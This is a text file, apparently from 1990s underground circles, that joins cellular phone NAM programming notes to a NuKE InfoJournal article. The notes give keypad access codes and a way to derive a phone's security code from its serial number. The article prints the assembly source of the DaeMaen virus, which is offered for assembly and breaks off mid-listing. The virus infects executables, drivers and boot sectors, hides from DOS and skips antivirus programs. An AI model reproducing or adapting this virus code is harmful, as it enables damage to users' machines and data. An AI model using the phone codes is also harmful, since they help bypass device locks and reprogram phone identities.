Serial Number: ABCDEF Security Code: FBDEA
Position 1(A) Position 5(A)
Position 2(B) Position 2(B)
Position 3(C) Position 6(C)
Position 4(D) Position 3(D)
Position 5(E) Position 4(E)
Position 6(F) Position 1(F)
Example: Stamped Serial Number is 123456
999999
- 123456
========
876543
The Security code is 375486
System Select: # + 1 + 1 + 1 + * (to toggle)
-------------------------------------------------------------------------------
TECHNOPHONE PC 125(M2) Portable
-------------------------------------------------------------------------------
NAM Type: EEPROM
Manufacturer: TECHNOPHONE
Programmer: Keypad
ESN Prefix DEC: 162
HEX: A2
ESN, S/N Match Required: Yes
Number of Channels: 666
Programming Sequence: Power Off
Power On (*Key)
Enter Access Code: # + XXXXXX + # + # +
953739 + # + UP Key + STORE + 99 + # + #
(XXXXXX=Security Code (1))
Power Off (Lock)
Power On (*Key), Phone will ask which NAM
provided correct code has been entered.
Enter NAM Number (0-7) then press *
Press UP Key to increment
Enter Data for each step then press UP Key to
step thru NAM
Once Initial Page Channel is entered, display
will show "System Ident"
Enter Alpha designation for city with number
keys. Press key repeatedly to step thru
letters and press # key to store each letter
Press UP Key, "Save NAM" will display
Press CALL to write NAM information + END to exit
Programming Mode
# of Digits
System ID: 5 XXXXX + UP Key
Mobile Number: 10 XXX-XXX-XXXX + UP Key
Access Overload: 2 XX + UP Key
Group ID: 2 XX + UP Key
EXP(MIN Opt): 1 1 + UP Key
Initial Page Channel: 3 333 or 334 + UP Key
(1) Determining Phone's Security Code -
Subtract last six digits of phone's serial number from 999999
Rearrange the six positions of the remaining number with the
following formula:
Serial Number: ABCDEF Security Code: FBDEA
Position 1(A) Position 5(A)
Position 2(B) Position 2(B)
Position 3(C) Position 6(C)
Position 4(D) Position 3(D)
Position 5(E) Position 4(E)
Position 6(F) Position 1(F)
Example: Stamped Serial Number is 123456
999999
- 123456
========
876543
The Security code is 375486
System Select: UP ARROW + SYSTEM + UP ARROW (Repeatedly) + SYSTEM (to lock)
-------------------------------------------------------------------------------
TECHNOPHONE PC 135 Portable
-------------------------------------------------------------------------------
NAM Type: EEPROM
Manufacturer: TECHNOPHONE
Programmer: Keypad
ESN Prefix DEC: 162
HEX: A2
ESN, S/N Match Required: Yes
Number of Channels: 832
Programming Sequence: Power Off
Power On (*Key)
Enter Access Code: # + XXXXXX + # + # + 953739
+ # + UP Key + STORE + 99 + # + #
(XXXXXX=Security code (1))
Power Off (Lock)
Power On(* Key) Phone will ask which NAM
provided correct code has been entered
Enter NAM number (0-7) then press *
Press UP Key to increment
Enter Data for each step then press UP Key
to step thru NAM
Once Initial Page Channel is entered, display
will show "System Ident"
Enter Alpha designation for city with number keys.
Press key repeatedly to step thru letters and
press # key to store each letter.
Press UP Key, "Save NAM" will display
Press SND to write NAME info, + END to exit phone
# of Digits
System ID: 5 XXXXX + UP Key
Mobile Number: 10 XXX-XXX-XXXX + UP Key
Access Overload: 2 XX + UP Key
Group ID: 2 XX + UP Key
EXP (MIN Opt): 1 1 + UP Key
Initial Page Channel: 3 333 or 334 + UP Key
(1) Determining Phone's Security Code -
Subtract last six digits of phone's serial number from 999999
Rearrange the six positions of the remaining number with the
following formula:
Serial Number: ABCDEF Security Code: FBDEA
Position 1(A) Position 5(A)
Position 2(B) Position 2(B)
Position 3(C) Position 6(C)
Position 4(D) Position 3(D)
Position 5(E) Position 4(E)
Position 6(F) Position 1(F)
Example: Stamped Serial Number is 123456
999999
- 123456
========
876543
The Security code is 375486
New Unlock Code: MENU + 01 + MENU + 6 digit Security code +
4 digit unlock code + CLEAR
System Select: UP ARROW + SYSTEM + UP ARROW + (Repeatedly)
+ SYSTEM (to lock)
-------------------------------------------------------------------------------
TECHNOPHONE PC 205 Portable
-------------------------------------------------------------------------------
NAM Type: EEPROM
Manufacturer: TECHNOPHONE
Programmer: Keypad
ESN Prefix DEC: 162
HEX: A2
ESN, S/N Match Required: Yes
Stamped Model Number: PC 205A
Number of channels: 832
Programming Sequence: Power Off
Power On
Enter Access Code: # + 000000 + # + # + 953739
+ # + MEM + 99 + MEM + MEM
Power Off and On again
Enter NAM number: F + X; X=1 to 8
Press "F" key to increment
Enter data for each step then press "F" key
to step thru NAM
Once programming is complete, press * + F
to enter data
# of Digits
System ID: 5 XXXXX + F Key
Station Class: 2 10 + F Key
Mobile Area Code: 3 XXX + F Key
Area Code: 3 XXX + F Key (Same as above)
Mobile Number: 7 XXX-XXXX + F Key
Access Overload: 2 XX + F Key
MIN Opt: 1 1 + F Key
Initial Page Channel: 3 (333 or 334) + F Key
Initial Control Channel: 3 (333 or 334) + F Key
Alt System Control Chan: 3 (333 or 334) + F Key
Alphanumerically enter
City Name: 3 (3 letters max, ie, Mtl=Montreal)
International Code: 3 011 + F Key
Emergency Number: 3 911 + F Key
Operator: 1 0 + F Key
Additional NAMS - Enter NAM Number (1-8) or F Key to review program contents
Press * + F to enter data
New Unlock Code: F + F + F(enter Unlock Code - preset 0000)
(Menu C Displays) + F + 3 (current Unlock code
displays) + Enter new 4 digit Unlock Code + END
System Select: F + 3 + F + F + etc.. (to Scroll choices) +
END (to exit)
Pref (A only or B only)
Non-Pref (B onlt or A only)
Home
Auto (AB or BA)
-------------------------------------------------------------------------------
TECHNOPHONE MC905a, MC905MKII, MC985A and MC9995
-------------------------------------------------------------------------------
NAM Type: EEPROM
Manufacturer: TECHNOPHONE
Programmer: Keypad
ESN Prefix DEC: 162
HEX: A2
ESN, S/N Match Required: No (See Display ESN)
Stamped Model Number: 905, 985 and 995 on handset
Number of Channels: 832
Programming Sequence: Power On
Phone should display "Which NAM", if not
perform the following Sequence:
Press CLR three times (Rapidly)
Enter #+000000+#+#+952729+#+STO+99+STO+STO
Power Phone OFF then ON again
Phone should display "Which NAM"
Enter NAM number (1-8) + STO
Enter each of the following parameters then
press * to store
Press SEND to program phone or END to
exit without changing existing information
# of Digits
System ID: 5 XXXXX + *
Mobile Number: 10 XXX-XXX-XXXX + *
Access Overload: 2 XX + *
Group ID: 2 XX + *
MIN Opt(EXP): 1 1 + *
Initial Page Channel: 3 333(A) or 334(B) + *
System ID-Alpha Notation: 3 (System ID)
Press SEND to Store information
Display ESN: MU + 0 + 1
Horn Alert: Turn Ignition Off+MU+07+MU (to toggle
On or Off) Press CLR to exit
New Unlock code: MU + 17 + 4 digit unlock code
(Preset 0000) + new 4 digit unlock code + MU
(Press CLR to exit)
System Select: MU + 21 + MU (to toggle) (Toggles
between AB and bA) + CLR (to exit)
-------------------------------------------------------------------------------
TECHNOPHONE MC915A
-------------------------------------------------------------------------------
NAM Type: EEPROM
Manufacturer: TECHNOPHONE
Programmer: Keypad
ESN Prefix DEC: 162
HEX: A2
ESN, S/N Match Required: Yes
Number of Channels: 832
Programming Sequence: Power On
Phone should display "Which NAM", if not
perform the following sequence
Press CLR three times (Rapidly)
Enter #+000000+#+#+953739+#+STO+29+STO+STO
Power Phone Off and On again
Phone should display "which NAM"
Enter NAM number 1 or 2 + STO
then press * to store each parameter
Press SEND to program phone or END (to
exit without changing existing programming
information)
# of Digits
System ID: 5 XXXXX + *
Mobile Number: 10 XXX-XXX-XXXX + *
Access Overload: 2 XX + *
Group ID: 2 XX + *
MIN Opt(EXP): 1 1 + *
Initial Page Channel: 3 333(A) or 334(B) + *
System ID-Alpha Notation: 3 system ID
Press SEND to Store Information
Horn Alert: MU + 05 + MU (to toggle On or Off)
(Press CLR to exit)
New Unlock Code: MU + 08 + 4 digit unlock code
(Preset 0000) + new 4 digit unlock code + MU
(Press CLR to exit)
System Select: MU + 11 + MU (to toggle) (Toggles
between AB or BA)
-------------------------------------------------------------------------------
UNIDEN CP-900, 1000, 1050, 1100, 1200, 1500, 1900, 2000,
3000, PRESIDENT 4000 GTS and 4500 GTS
-------------------------------------------------------------------------------
NAM Type: EEPROM
Manufacturer: UNIDEN
Programmer: Serivce Handset or Programmer Handset
ESN Prefix DEC: 172
HEX: AC
ESN, S/N Match Required: Yes
Handset Programmable: Service Handset or Programmer Handset
Number of Channels: 666 (900, 1000) others 832
Programming Sequence: Connect antenna or load
Power Off
Disconnect standard handset
Connect blue or white service handset
White Handset (CP-010): Turn Power Switch On while holding *
and # continue holding * and # for two seconds
Blue Handset(CP-210): Turn Power Switch On
Press SELECT + 2 + SEND
Both Handsets: Enter step number, then data for individual
parameter
Press STO to enter data for each step
Increment by pressing next step number
To review parameters press: RCL + Step number + STO (to exit)
If phone has dual NAM(ie 1050, 1500 & 2000),
Press 9 + 5 + SEND (to toggle between NAMs)
Press SEND to write NAM information
PASS will appear in display if data is valid
Step # of Digits
0 System ID: 5 XXXXX + STO
1 Local Use: 1 (0 or 1) + STO
2 MIN Opt: 1 (0 or 1) + STO
3 Mobile Number: 10 XXX-XXX-XXXX + STO
4 Initial Paging Chan: 3 (333 or 334) + STO
5 Access Overload: 2 XX + STO
6 Preferred System: 1 [0 (B) or 1 (A)] + STO
7 Group ID: 2 XX + STO
8 Local Code (1): 4 XXXX + STO
9 F5 DTMF Duration: 2 0-100ms or 1-Continous
Press STO to increment to F6 or A
All models Except 1500, 1900 and 4500 GTS
F6 Automatic Power: 1 0=3 hrs or 1=6 hrs
A Handset/Handsfree 1
0(phone auto transfers from switching H/S to H/F) OR
1(call ends when H/S is placed in cradle unless user presses
RCL + 6 + 6)
Press STO after entering F6 or A data
Press SEND to exit program mode
Horn Alert: RCL + 9 + 9 + Turn Ignition Off
New Unlock Code: NAM
System Select: X + STO + 8 + 8
X=1 A only
X=2 B only
X=3 Home
X=4 Standard AB or BA
X=5 Inverted BA or AB
-------------------------------------------------------------------------------
UNIDEN 5000 and 6000 GTS Portable
-------------------------------------------------------------------------------
NAM Type: EEPROM
Manufacturer: UNIDEN
Programmer: Program or Service Handset with CP 505 Adaptor
ESN Prefix DEC: 172
HEX: AC
ESN, S/N Match Required: Yes
Stamped Model Number: 5000 or 6000 GTS
Number of Channels: 832
Programming Sequence: Power Off
Remove Battery and install CP505 or CP505A adaptor
Connect CP505(A) to power supply or to CP
504 battery eliminator per adaptor instructions
Connect Program Handset to CP 505(A) adaptor
White Handset (CP-010): Turn Power Switch On while holding *
and # continue holding * and # for two seconds
Blue Handset(CP-210): Turn Power Switch On
Press SELECT + 2 + SEND
Both Handsets: Enter step number, then data for individual
parameter
Press STO to enter data for each step
Increment by pressing next step number
To review parameters press: RCL + Step number + STO (to exit)
To select Alternate NAM, Press 1 + STO + 90 (NAM 1)
or 2 + STO + 90 (NAM 2)
Press SEND to write NAM information
PASS will appear in display if data is valid
Step # of Digits
0 System ID: 5 XXXXX + STO
1 Local Use: 1 (0 or 1) + STO
2 MIN Opt: 1 (0 or 1) + STO
3 Mobile Number: 10 XXX-XXX-XXXX + STO
4 Initial Page Channel: 3 (333 or 334) + STO
5 Access Overload: 2 XX + STO
6 Preferred System: 1 [0 (B) or 1 (A)] + STO
7 Group ID: 2 XX + STO
8 Lock code (1): 4 XXXX + STO
9 Options F5 DTMF
Duration: 1 0 - Continuous
1 - 100 ms
Press STO to program phone
New Unlock Code: RCL + 70 + Current 4 digit Unlock code
+ new 4 digit Unlock code
System Select: X + STO + 8 + 8
X=1 A only
X=2 B Only
X=3 Home
X=4 Standard AB or BA
X=5 Inverted BA or AB
-------------------------------------------------------------------------------
UNIDEN CP-5500 Portable
-------------------------------------------------------------------------------
NAM Type: EEPROM
Manufacturer: UNIDEN
Programmer: Keypad
ESN Prefix DEC: 172
HEX: AC
ESN, S/N Match Required: Yes
Stamped Model Number: CP-5500
Number of Channels: 832
Programming Sequence: Install fully charged battery
Power On
Select NAM
NAM 1: 1 + STO + 90
NAM 2: 2 + STO + 90
Power Off
Press PWR key while holding * and #
Continue holding * and # for four seconds
"Roam.No Svc.In Use& M" lights will display
Release * and # keys
Enter sequence 32218591 (within 7 seconds)
SID will display
Enter Step number, then data for individual
parameter
Press STO to enter data for each step
(ie to enter System ID, press 0+XXXXX+STO)
Increment by pressing next step number
To review parameters press: RCL + step number
+ STO (to exit)
Press SEND to write NAM information
PASS will appear in display if data is valid
Press END to exit program mode
Step # of Digits
0 System ID: 5 XXXXX + STO
1 Local Use: 1 (0 or 1) + STO
2 MIN Opt: 1 (0 or 1) + STO
3 Mobile Number: 10 XXX-XXX-XXXX + STO
4 Initial Page Channel: 3 [333 or 334] + STO
5 Access Overload: 2 XX + STO
6 Preferred System: 1 [9 (B) or 1 (A)] + STO
Note 1: Step number will not display when entering mobile number)
7 Group ID: 2 XX + STO
8 Lock Code: 4 XXXX + STO
9 DTMF Duration: 1 0 - 100 ms or
1 - Continuous
Press STO after entering Step 9
Press SEND to write data
Press END to exit program mode
New Program code: RCL + 70 + Current 4-digit Program Lock
Code (Preset 0000) + new 4 digit program
code + STO + END
New Unlock Code: RCL + 70 + 4 digit program Lock Code
(Preset 0000) + SEND + New 4 digit Unlock Code
(Preset 0123) + STO + END
System Select: X + STO + 8 + 8
X=1 A Only
X=2 B Only
X=3 Home
X=4 Standard AB or BA
X=5 Inverted BA or AB
X=6 System ID (*)
(*) To set System ID: CLR + 5 digit System ID + STO + 72
To view current System Select Setting: RCL + 88
-------------------------------------------------------------------------------
USA CORP Portable
-------------------------------------------------------------------------------
NAM Type: EEPROM
Manufacturer: MITSUBISHI
Programmer: Keypad
ESN Prefix DEC: 134
HEX: 86
ESN, S/N Match Required: No
Handset Programmable: Yes
Number of Channels: 666
Programming Sequence: Power On (END/FCN and 0 for one second)
While holding CLR, enter 4472866 or 4476822
or 6926232
Enter data then press SEND to increment
Press END/FCN to write NAM information
# of Digits
Mobile Number: 10 XXX-XXX-XXXX
Unlock Code: 3 XXX
System ID: 5 XXXXX
Local Use: 1 1
MIN Opt: 1 1
Initial Page Channel: 3 333 or 334
Access Overload: 2 XX
Preferred System: 1 0(B) or 1(A)
Group ID: 2 XX
End-to-End Signaling: 1 1
Booster Opt: 1 0 or 1
Autonomous Reg: 1 0 or 1
-------------------------------------------------------------------------------
WALKER 910
-------------------------------------------------------------------------------
NAM Type: Tri-State
Manufacturer: WALKER
Programmer: MOTOROLA 1801-CLENAM or Curtis
ESN Prefix DEC: 152
HEX: 98
ESN, S/N Match Required: Yes
Handset Programmable: No
Number of Channels: 666
Phone Number: XXX-XXX-XXXX
Lock Code: XXX
MIN Opt: Enabled
Repertory Opt: Enabled
Handsfree: Disabled (Enabled if Equipped)
Local Use: Enabled
End-to-End Signaling: Enabled
Horn Alert: Enabled
System ID: XXXXX
Preferred System: A or B
Access Overload: XX
Initial Paging Channel: 333 or 334
Station Class: 00
Hex Address B7 B0
13 1 0 0 0 0 0 0 1
Hex Address 13 - B0 Total Call Timer
B2 Preferred Only
B7 Individual Call Timer
horn Alert: (ALT)
New Unlock Code: NAM
System Select: Switch on side or cradle (BA or AB)
===============================================================================
================================================================================
NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE
uK E-
E- "The DaeMaen Virus Source Code" Nu
Nu KE
KE -N
-N Article By Virus By uK
uK Rock Steady TaLoN E-
E- Nu
E-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-Nu
NuKE InfoJournal #7
August 1993
Well, here it is, the DaeMaen virus...the binary has been out for quite a
while now. Two versions of DaeMaen exist; the source code presented here
is from the first version. The changes made in the second version were
minor. You'll need to assemble this with the A86 assembler. It is *not*
compatible with MASM or TASM due to some minor directive differences, but
it can easily be modified to compiler under the more popular assemblers
(we chose to present to you the original, untouched source code, straight
from the author).
It is an extremely nice piece of work, only 2k in size, quite tight for
all that code (it does .COM, .EXE, .SYS, .BIN, .OVL, and boot sector
infections). However it is somewhat lacking: some methods of infection
are somewhat lacking, and I'm not too thrilled about the technique of
infecting on file closes. Nevertheless, I find it extrordinary learning
material.
Rock Steady/NuKE
[Note: TaLoN aka Terminator-Z is no longer with NuKE due to legal problems.
After being investigated by Australian authorities for illegal activities
totally unconnected to his role in NuKE, he decided to take the heat off
himself by "turning in" members of NuKE for crimes that they never committed.
It is sad to see such a fine programmer do something so dispicable and
underhanded, and we at NuKE regret his decision. We wish him all the best
in the courts... -NM]
-------------------------------- CUT HERE -------------------------------------
; D<>eM<65><4D>n Virus specifications:
;
; An extrodinary virus if we may say so. It is able to infect .COMs, .EXEs,
; .SYSs, .BINs, .OVLs, Floppy Boot Sectors, HD Master Boot Records.
;
; Infects files on executions, opens, ext opens, attribs, close & renames.
; Infected files will feature a simple Random key encryption routine.
;
; Stealth abilities range from, redirects read/write away from partition table
; "Dir", hides file size increase without CHKDSK fuckups
; Memory stealth, memory disappears from DOS's view without function calls
;
; -January 28, 1993 -TaLoN
org 0
@tsrchk equ 0a7ceh ; fingerprint
@mbr equ 9 ; sector of original MBR
@com_exe equ 0
@sys equ 1
@JO equ 070h ; JO operand for variable branch
@JMPS equ 0ebh ; JMP SHORT (as above)
@RET equ 0c3h ; RET for encrypt shit
p_len equ 3072/16 ; 3k in paragraphs
v_start:
syshead db 18 dup 90h ; header for SYS infection
push ax
push cx
push si
push ds
push bp
call encr_decr
e_start: cld
call $+3
pop si
sub si, $-1
mov bp, es
branch: jo sys_entry
com_exe_entry: add sp, 10 ; fuck off other registers
call chk
jz get_lost
jmp domem
pre_gl: xor si, si
get_lost: mov es, bp ; exit without fingerprints
push cs
pop ds
add si, offset old_shit
gl: jo exit_exe
mov di, 0100h
push bp
push di
movsw
movsb
jmp short zero_shit
exit_exe: add bp, 10h
lodsw
add ax, bp
xchg ax, bx
lodsw
mov ss, bx
xchg ax, sp
lodsw
xchg ax, bx
lodsw
add ax, bp
push ax
push bx
sub bp, 10h
zero_shit: xor ax, ax ; clean our hands
mov bx, ax
mov cx, ax
mov dx, ax
mov si, ax
mov di, ax
mov ds, bp
mov bp, ax
retf ; I didn't see nothin'
sys_entry: ;int 05 ; for debugger
mov ax, word ptr [si+old_shit]
mov word ptr [6], ax ; restore INTR address
push ax
push bx
push dx
push di
push es
push ax
call chk
pop ax
jz go_sys_exit
push ax
mov cx, si
push si
lea ax, [si+4096]
mov bx, 10h
xor dx, dx
div bx
inc ax ; align on paragraph boundary
mov bx, cs
add ax, bx
mov es, ax
xor si, si
xor di, di
rep movsb ; move the driver up in memory
push cs
pop es
xor di, di
mov cx, v_len
mov bx, offset sys_00
jmp move_us
go_sys_exit: jmp short sys_exit
sys_00: push ax
mov ax, cs
inc ah
mov es, ax
mov bp, ax
pop ds
xor si, si
mov di, si
pop cx
rep movsb ; move SYS to final resting place
push es
pop ds
push cs
pop es
xor si, si
mov di, si
mov cx, 9
rep movsw ; copy their header
xor si, si
push cs
pop ds
call dms ; do some hooking shit
pop ax
mov word ptr [strat_1], ax
mov word ptr [strat_1+2], bp
mov word ptr [intr_1+2], bp
mov ax, word ptr [8]
mov word ptr [intr_1], ax
mov word ptr [6], offset strat ; hehe trick DOS
mov word ptr [8], offset intr
stc
sys_exit: pop es
pop di
pop dx
pop bx
pop ax
pop bp ; restore registers
pop ds
pop si
pop cx
pop ax
jc sys_exit_2
push word ptr cs:[6]
ret
sys_exit_2: jmp strat
db '[D<>eM<65><4D>n] by T<>L<EFBFBD>N-{N<>K<EFBFBD>}'
new13: ; check for floppy access
; check for hd read sector 1
cmp ax, @tsrchk
jne n13_2
xchg ax, bx
push cs
pop es
iret
n13_2: push ax
shr ah, 1
cmp ah, 1
jne exit13
cmp dl, 80h
jb do_floppy
ja exit13
or dh, dh ; head 0?
jnz exit13
cmp cx, 1 ; sector 1?
ja exit13
pop ax
cmp ax, 0309h ; writing a few sectors?
jae e13 ; yeah.. let him
call save
push ax
mov al, 1 ; give him the "real" MBR
mov cx, @mbr
call i13
pop ax
dec al ; and read the rest of
or al, al ; what he wants
jz hd_done1
add bx, 200h
call i13
sub bx, 200h
hd_done1: call restore ; no sectors left
clc
inc ax
xor ah, ah ; status=no error
retf 2
gorestore: call restore
exit13: pop ax
e13: jmp bypass
do_floppy: call save
xor ax, ax
mov ds, ax
inc dl
test byte ptr [43fh], dl ; drive still spinning?
jnz gorestore ; yeah, don't reinfect
dec dl
call gooknuke
call eat_floppy
jmp short gorestore
new13_2: ; the guts of multipartite infection
; check to see if i21 has changed... if so, hook it
call save
push cs
pop es
xor ax, ax
mov ds, ax
mov si, 21h*4
mov di, offset oldvect+8
cld
cmpsw
je nochange
cmpsw
je nochange
call capture_21
push cs
pop ds
mov si, offset oldvect+0 ; copy over saved shit so that
lea di, [si+4] ; our i13 doesn't call here
movsw ; any more [i21 has been hooked]
movsw
nochange: call restore
jmp dword ptr cs:[oldvect+0]
db 'Hugs to Sara Gordon' ; get her agro
new21: ; guts
cmp ah, 11h ; FIND_FIRST
je go_kstealth
cmp ah, 12h ; FIND_NEXT
je go_kstealth
cmp ah, 3ch ; CREAT
je create
cmp ah, 3dh ; OPEN
je letsgo
cmp ah, 3eh ; CLOSE
je close
cmp ah, 43h ; ATTRIB
je letsgo
cmp ax, 4b00h ; EXEC
je letsgo
cmp ah, 56h ; RENAME
je letsgo
cmp ah, 6ch ; EXT_OPEN
jne n21_2
push dx
mov dx, si
call infect
pop dx
jmp short n21_2
letsgo: call infect
n21_2: jmp dword ptr cs:[oldvect+8]
file_end: mov ax, 4202h
jmp short seek_vals
file_zero: mov ax, 4200h
seek_vals: xor cx, cx
xor dx, dx
i21: pushf
push cs
call n21_2
ret
go_kstealth: jmp short kstealth
create: call i21 ; go create the file
jc creat_exit ; successful?
mov word ptr cs:[handle], ax ; save handle
call save
call save_name
call restore
creat_exit: retf 2
close_r dw offset creat_exit
close: push word ptr cs:[close_r]
call i21
jc close_exit
cmp word ptr cs:[handle], bx ; the one we've got stored?
jne close_exit
call save
jmp infect_2 ; external entry
go_ce: call restore
close_exit: ret ; exit with current flagz
kstealth: ; stole some of this from Mutating Rocko, mine wouldn't
; quite work right! but I have changed it substantially..
call i21
or al,al ;Good FCB?
jnz no_good ;nope
push ax
push bx
push cx
push ds
push es
mov ah,51h ;Is this Undocmented? huh...
call i21
mov es,bx
cmp bx,es:[16h]
jnz not_infected ;Not for us man...
mov bx,dx
mov al,[bx]
push ax
mov ah,2fh ;Get file DTA
call i21
pop ax
inc al
push es
pop ds
jnz fcb_okay
add bx,7h
fcb_okay: mov ax, [bx+19h]
mov cl, 9
shr ax, cl
cmp ax, 100 ; 100 years more than expected?
jb not_infected
mov cx, 1
cmp word ptr [bx+9], 'YS' ; is it a SYS file?
jne subtract
cmp byte ptr [bx+11], 'S'
jne subtract
inc cx ; take twice as much from SYS
subtract: sub word ptr [bx+1dh], v_len
sbb word ptr [bx+1fh], 0
loop subtract
not_infected: pop es
pop ds
pop cx
pop bx
pop ax
no_good: iret
infect: call save
call save_name
infect_2: call gooknuke ; DS=ES=CS
call namechk
jc go_bitch
mov byte ptr [infected], 0 ; reset date change flag
mov byte ptr [branch], @JO
mov ax, 3524h
call i21
push es
push bx
mov dx, offset no_good ; use the IRET from stealth bit
mov ax, 2524h
call i21 ; disable Critical Error Handler
push cs
pop es
mov dx, offset filename
mov ax, 4300h
call i21 ; get attribs
push cx
mov ax, 4301h
xor cx, cx
call i21
pop cx
jc go_bitch1
push cx
mov ax, 3d02h
mov dx, offset filename
call i21 ; open read/write
jc bitch2
xchg ax, bx
mov ax, 5700h
call i21
push cx
push dx
xchg ax, dx
mov cl, 9
shr ax, cl
cmp ax, 100 ; 100 years more than expected?
pop dx
pop cx
jae bitch3
push cx
push dx
mov dx, offset signature
mov ah, 3fh
mov cx, 24
call i21 ; load header
xor ax, cx ; file too small?
jnz bitch4
mov si, dx
lodsb
cmp al, 'M'
je goexe ; it's an EXE
cmp al, 'Z'
je goexe
cmp byte ptr [itype], @sys ; is it a SYS file?
je gosys
jmp short gocom
go_bitch: jmp short bitch
go_bitch1: jmp short bitch1
bitch4: pop dx
pop cx
cmp byte ptr [infected], 0 ; has the file been infected?
je set4
add dh, 0c8h ; add 100 years to date
set4: mov ax, 5701h
call i21
bitch3: mov ah, 3eh
call i21 ; close file
bitch2: push cs
pop ds
pop cx
mov ax, 4301h
mov dx, offset filename
call i21 ; reset attribs
bitch1: pop dx
pop ds
mov ax, 2524h
call i21
bitch: call restore
ret
goexe: call exeinf
jmp short bitch4
gocom: call cominf
jmp short bitch4
gosys: call sysinf
jmp short bitch4
cominf: mov di, offset old_shit
stosb
movsw ; save first 3 bytes
call file_end
or dx, dx
jnz com_done
cmp ax, 0f000h ; COM too big?
jae com_done
add ax, 15 ; bypass SYS fill
push ax
mov byte ptr [gl], @JO
call write_us
mov di, offset signature
mov al, 0e9h
stosb
pop ax
stosw
jmp write_head
com_done: ret
db 'Hey John! If this is bad, wait for [VCL20]!'
exeinf: call file_end
push ax ; check for internal overlays
push dx
mov ax, word ptr [page_cnt]
mov cx, 512
mul cx
pop cx
pop bp
cmp ax, bp
jb com_done
cmp dx, cx
jb com_done
mov di, offset old_shit
mov si, offset relo_ss
movsw
movsw
lodsw
movsw
movsw ; save the old shit
call file_end
mov byte ptr [gl], @JMPS
mov cx, 10h ; # of paragraphs in whole file
div cx
sub ax, word ptr [hdr_size] ; except the header
mov word ptr [relo_cs], ax
add dx, 18 ; skip SYS fill
mov word ptr [exe_ip], dx
add dx, offset vstack+32 ; set up a stack
mov word ptr [exe_sp], dx
mov word ptr [relo_ss], ax
call write_us
mov cx, 512 ; calculate new # of code pages
div cx
or dx, dx ; any bits left over?
jz fp2
inc ax ; yes, inc # pages to accommodate
fp2: mov word ptr [part_page], dx
mov word ptr [page_cnt], ax
jmp write_head
sysinf: dec si
lodsw
or ax, ax ; we'll only do files
jz sys_ok ; starting with 0000 or FFFF
inc ax ; (this excludes CONFIG.SYS)
jz sys_ok
ret
sys_ok: mov si, offset signature+6
mov di, offset old_shit
movsw ; save old INTR offset
call file_end
add ax, 18 ; skip SYS header shit
mov word ptr [si-2], ax
mov byte ptr [branch], @JMPS
call write_us
xor cx, cx
mov dx, v_len ; file size increase = v_len*2
mov ax, 4201h
call i21
mov ah, 40h
call i21 ; write 0 bytes
; (extend file to pointer)
write_head: call file_zero
mov dx, offset signature
mov cx, 24
mov ah, 40h
call i21 ; write the header
mov byte ptr [infected], 1
ret
eat_hd: ; infect HD partition table
; assumes DS=ES=CS
mov ax, 0201h
mov bx, offset signature
mov cx, 1
mov dx, 80h
call i13
cmp word ptr [signature+2], @tsrchk
je hd_done
mov cx, @mbr ; sector 9
mov ah, 3
call i13
mov di, bx
mov word ptr [drv+1], 80h
mov word ptr [sec+1], @mbr ; original MBR
mov si, offset kmart_kode
mov cx, k_len
rep movsb
inc cx
mov ah, 3
mov byte ptr [residence], 1
call i13
mov ax, 0304h
xor bx, bx
mov cx, 10
call i13
hd_done: ret
eat_floppy: ; do boot sector
mov ax, 0201h
mov bx, offset boot_sect
mov cx, 1 ; track 0 sector 1
xor dh, dh ; head 0
call i13
lea si, [bx+3]
mov cx, 8
kloop1: lodsb
cmp al, ' '
jb nope
cmp al, 'z'
ja nope
loop kloop1
; more complex than need be, to allow for old formats as well as new formats..
; it will check to see if it will cross a track boundary; if so, then it won't
; infect the disk.
call calcsect
push cx
sub word ptr [totsecs], 5
call calcsect
pop ax
sub ax, cx ; overrun track boundary?
add al, 4
jnz nope
push dx
xor dl, dl
mov word ptr [drv+1], dx ; drive 0.. on boot remember
mov word ptr [sec+1], cx
mov ax, 0301h
mov bx, offset boot_sect
pop dx
call i13 ; write it
jc nope
mov word ptr [oem+6], @tsrchk ; fuck it up a bit
; so we don't reinfect it later
inc cx
mov ax, 0304h ; write virus code [4 sectors]
xor bx, bx
mov byte ptr [residence], 0
call i13 ; write ourselves
mov di, offset boot_sect
push di
mov ax, 034ebh
stosw
add di, 34h
mov si, offset kmart_kode
mov cx, k_len
rep movsb ; patch boot sector
pop bx
inc cx
mov ax, 0301h
xor dh, dh
call i13 ; write patched boot sector
nope: ret
calcsect: push dx
mov ax, word ptr [totsecs] ; calculate track, head, sector
; add ax, word ptr [hidnsecs] ; of last sector
xor dx, dx
div word ptr [trksecs]
mov cx, dx
xor dx, dx
div word ptr [headcnt]
pop bx
mov bh, dl
push bx
push cx ; remainder sectors
mov cl, 6 ; CH=track
shl ah, cl
pop cx
add cl, ah ; bits 9 & 10 of track #
mov ch, al ; sector
pop dx
ret
save_name: push cs
pop es
mov di, offset filename
push di
mov si, dx
storename: lodsb
stosb
or al, al
jnz storename
pop dx ; DS:DX = filename
push cs
pop ds
ret
namechk: mov si, offset filename
nc1: lodsb
or al, al
jnz nc1
mov dx, si
sub dx, 4
sub si, 12
cmp si, offset filename
jae McAssFuck
mov si, offset filename
McAssFuck: dec si ; check for McWanker's
cmp si, dx ; ]<o0L WaReZ
je not_McWanker
lodsw
call chkMcAsshole
je ncexit_err
loop McAssFuck
not_McWanker: mov di, offset exts ; valid extensions
mov cx, 5
cld
lodsw
and ax, 0dfdfh ; -> uppercase
extchk: scasw
je extchk_2
inc di
loop extchk
ncexit_err: stc ; nope
ret
extchk_2: lodsb
and al, 0dfh
scasb
jne ncexit_err
mov byte ptr [itype], @com_exe
cmp di, offset residence
jb ncexit
mov byte ptr [itype], @sys ; OK, it's a SYS file
ncexit: clc
ret
chkMcAsshole: and ax, 0dfdfh
cmp ax, 'CS' ; SCAN?
je chkma_end
cmp ax, 'LC' ; CLEAN?
je chkma_end
cmp ax, 'SV' ; VSHIELD?
je chkma_end
cmp ax, '-F' ; F-PROT?
chkma_end: ret
db 'For Dudley'
domem: mov bx, offset pre_gl
push bx
mov ax, bp
dec ax
memloop: mov ds, ax
cmp byte ptr [0], 'Z'
je fixmem
mov bx, ax ; keep previous block
add ax, word ptr [3] ; up to next MCB
inc ax
jmp short memloop
fixmem: cmp word ptr [3], p_len*5 ; is block too small?
jae fm_ok
mov ds, bx ; yeah, use previous block
xchg ax, bx
fm_ok: sub word ptr [3], p_len
